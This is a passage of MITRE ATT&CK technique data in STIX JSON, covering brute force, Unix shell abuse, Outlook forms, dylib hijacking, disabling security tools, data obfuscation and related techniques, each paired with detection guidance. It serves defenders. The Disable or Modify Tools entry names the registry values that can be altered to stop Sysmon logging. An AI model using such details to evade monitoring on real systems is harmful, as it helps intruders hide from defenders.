"2024-01-29T18:53:26.593Z", "name": "Brute Force", "description": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\n\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["David Fiser, @anu4is, Trend Micro", "Alfredo Oliveira, Trend Micro", "Magno Logan, @magnologan, Trend Micro", "Yossi Weizman, Azure Defender Research Team", "Ed Williams, Trustwave, SpiderLabs", "Mohamed Kmal"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace", "Containers", "Network"], "x_mitre_version": "2.5", "x_mitre_data_sources": ["User Account: User Account Authentication", "Command: Command Execution", "Application Log: Application Log Content"], "type": "attack-pattern", "id": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", "created": "2017-05-31T21:31:22.767Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1110", "external_id": "T1110"}, {"source_name": "TrendMicro Pawn Storm Dec 2020", "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.", "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html"}, {"source_name": "Dragos Crashoverride 2018", "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.", "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-16T12:24:40.163Z", "name": "Unix Shell", "description": "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_deprecated": false, "x_mitre_detection": "Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["macOS", "Linux", "Network"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution"], "x_mitre_remote_support": true, "type": "attack-pattern", "id": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "created": "2020-03-09T14:15:05.330Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1059/004", "external_id": "T1059.004"}, {"source_name": "Apple ZShell", "description": "Apple. (2020, January 28). Use zsh as the default shell on your Mac. Retrieved June 12, 2020.", "url": "https://support.apple.com/HT208050"}, {"source_name": "DieNet Bash", "description": "die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12, 2020.", "url": "https://linux.die.net/man/1/bash"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "Office 365"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634", "type": "attack-pattern", "created": "2019-11-07T20:06:02.624Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1137.003", "url": "https://attack.mitre.org/techniques/T1137/003"}, {"source_name": "SensePost Outlook Forms", "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/", "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019."}, {"source_name": "Microsoft Detect Outlook Forms", "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack", "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019."}, {"source_name": "SensePost NotRuler", "url": "https://github.com/sensepost/notruler", "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."}], "modified": "2021-08-16T21:29:19.697Z", "name": "Outlook Forms", "description": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Application Log: Application Log Content", "Command: Command Execution", "Process: Process Creation"], "x_mitre_permissions_required": ["Administrator", "User"]}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1157", "url": "https://attack.mitre.org/techniques/T1157"}, {"external_id": "CAPEC-471", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/471.html"}, {"url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.", "source_name": "Writing Bad Malware for OSX"}, {"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", "source_name": "Malware Persistence on OS X"}], "modified": "2021-03-30T00:51:57.919Z", "name": "Dylib Hijacking", "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_effective_permissions": ["Administrator", "root"], "x_mitre_is_subtechnique": false}, {"modified": "2024-04-12T21:13:46.640Z", "name": "Disable or Modify Tools", "description": "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) \n\nAdversaries may also focus on specific applications such as Sysmon. For example, the \u201cStart\u201d and \u201cEnable\u201d values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Operational</code> may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) \n\nOn network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)\n\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\n\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\n\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Gordon Long, Box, Inc., @ethicalhax", "Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security", "Nathaniel Quist, Palo Alto Networks", "Gal Singer, @galsinger29, Team Nautilus Aqua Security", "Daniel Feichter, @VirtualAllocEx, Infosec Tirol", "Cian Heasley", "Alex Soler, AttackIQ", "Sarathkumar Rajendran, Microsoft Defender365", "Lucas Heiligenstein"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity.\n\nLack of expected log events may be suspicious.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "macOS", "Linux", "Containers", "IaaS", "Network"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["Sensor Health: Host Status", "Process: Process Termination", "Process: Process Creation", "Service: Service Metadata", "Windows Registry: Windows Registry Key Modification", "Command: Command Execution", "Windows Registry: Windows Registry Key Deletion", "Driver: Driver Load"], "x_mitre_defense_bypassed": ["Anti-virus", "Log analysis", "Signature-based detection", "Host intrusion prevention systems", "File monitoring"], "type": "attack-pattern", "id": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "created": "2020-02-21T20:32:20.810Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1562/001", "external_id": "T1562.001"}, {"source_name": "Analysis of FG-IR-22-369", "description": " Guillaume Lovet and Alex Kong. (2023, March 9). Analysis of FG-IR-22-369. Retrieved May 15, 2023.", "url": "https://www.fortinet.com/blog/psirt-blogs/fg-ir-22-369-psirt-analysis"}, {"source_name": "Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation", "description": "ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023.", "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"}, {"source_name": "OutFlank System Calls", "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.", "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/"}, {"source_name": "disable_win_evt_logging", "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.", "url": "https://ptylu.github.io/content/report/report.html?report=25"}, {"source_name": "chasing_avaddon_ransomware", "description": "Hernandez, A. S. Tarter, P. Ocamp, E. J. (2022, January 19). One Source to Rule Them All: Chasing AVADDON Ransomware. Retrieved January 26, 2022.", "url": "https://www.mandiant.com/resources/chasing-avaddon-ransomware"}, {"source_name": "doppelpaymer_crowdstrike", "description": "Hurley, S. (2021, December 7). Critical Hit: How DoppelPaymer Hunts and Kills Windows Processes. Retrieved January 26, 2022.", "url": "https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/"}, {"source_name": "avoslocker_ransomware", "description": "Lakshmanan, R. (2022, May 2). AvosLocker Ransomware Variant Using New Trick to Disable Antivirus Protection. Retrieved May 17, 2022.", "url": "https://thehackernews.com/2022/05/avoslocker-ransomware-variant-using-new.html"}, {"source_name": "dharma_ransomware", "description": "Loui, E. Scheuerman, K. et al. (2020, April 16). Targeted Dharma Ransomware Intrusions Exhibit Consistent Techniques. Retrieved January 26, 2022.", "url": "https://www.crowdstrike.com/blog/targeted-dharma-ransomware-intrusions-exhibit-consistent-techniques/"}, {"source_name": "MDSec System Calls", "description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.", "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/"}, {"source_name": "SCADAfence_ransomware", "description": "Shaked, O. (2020, January 20). Anatomy of a Targeted Ransomware Attack. Retrieved June 18, 2022.", "url": "https://cdn.logic-control.com/docs/scadafence/Anatomy-Of-A-Targeted-Ransomware-Attack-WP.pdf"}, {"source_name": "demystifying_ryuk", "description": "Tran, T. (2020, November 24). Demystifying Ransomware Attacks Against Microsoft Defender Solution. Retrieved January 26, 2022.", "url": "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/demystifying-ransomware-attacks-against-microsoft-defender/ba-p/1928947"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-02-02T17:18:39.004Z", "name": "Data Manipulation", "description": "Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: Sygnia Elephant Beetle Jan 2022) By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_deprecated": false, "x_mitre_detection": "Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Process: OS API Execution", "Network Traffic: Network Traffic Content", "File: File Creation", "Network Traffic: Network Traffic Flow", "File: File Deletion", "File: File Modification", "File: File Metadata"], "x_mitre_impact_type": ["Integrity"], "type": "attack-pattern", "id": "attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931", "created": "2020-03-02T14:19:22.609Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1565", "external_id": "T1565"}, {"source_name": "Sygnia Elephant Beetle Jan 2022", "description": "Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.", "url": "https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "macOS", "Linux"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", "type": "attack-pattern", "created": "2020-02-12T14:08:48.689Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1559", "url": "https://attack.mitre.org/techniques/T1559"}, {"source_name": "Linux IPC", "url": "https://www.geeksforgeeks.org/inter-process-communication-ipc/#:~:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them.", "description": "N/A. (2021, April 1). Inter Process Communication (IPC). Retrieved March 11, 2022."}, {"source_name": "Fireeye Hunting COM June 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html", "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."}], "modified": "2022-03-11T20:23:23.122Z", "name": "Inter-Process Communication", "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.", "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Module: Module Load", "Process: Process Creation", "Script: Script Execution", "Process: Process Access"], "x_mitre_permissions_required": ["Administrator", "User", "SYSTEM"], "x_mitre_remote_support": true, "x_mitre_is_subtechnique": false}, {"modified": "2024-02-02T19:04:35.389Z", "name": "Data Obfuscation", "description": "Adversaries may obfuscate command and control traffic to make it more difficult to detect.(Citation: Bitdefender FunnyDream Campaign November 2020) Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_deprecated": false, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", "created": "2017-05-31T21:30:18.931Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1001", "external_id": "T1001"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}, {"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-08-11T21:06:07.690Z", "name": "Data from Network Shared Drive", "description": "Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_contributors": ["David Tayouri"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Network Share: Network Share Access", "Command: Command Execution", "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow", "File: File Access"], "x_mitre_system_requirements": ["Privileges to access network shared drive"], "type": "attack-pattern", "id": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", "created": "2017-05-31T21:30:41.022Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1039", "external_id": "T1039"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-12T20:19:21.620Z", "name": "Web Services", "description": "Adversaries may compromise access to third-party web services\u00a0that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_contributors": ["Dor Edry, Microsoft"], "x_mitre_deprecated": false, "x_mitre_detection": "Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Internet Scan: Response Content"], "type": "attack-pattern", "id": "attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2", "created": "2020-10-01T01:01:00.176Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1584/006", "external_id": "T1584.006"}, {"source_name": "Recorded Future Turla Infra 2020", "description": "Insikt Group. (2020, March 12). Swallowing the Snake\u2019s Tail: Tracking Turla Infrastructure. Retrieved October 20, 2020.", "url": "https://www.recordedfuture.com/turla-apt-infrastructure/"}, {"source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Network"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754", "type": "attack-pattern", "created": "2020-10-19T19:42:19.740Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1601", "url": 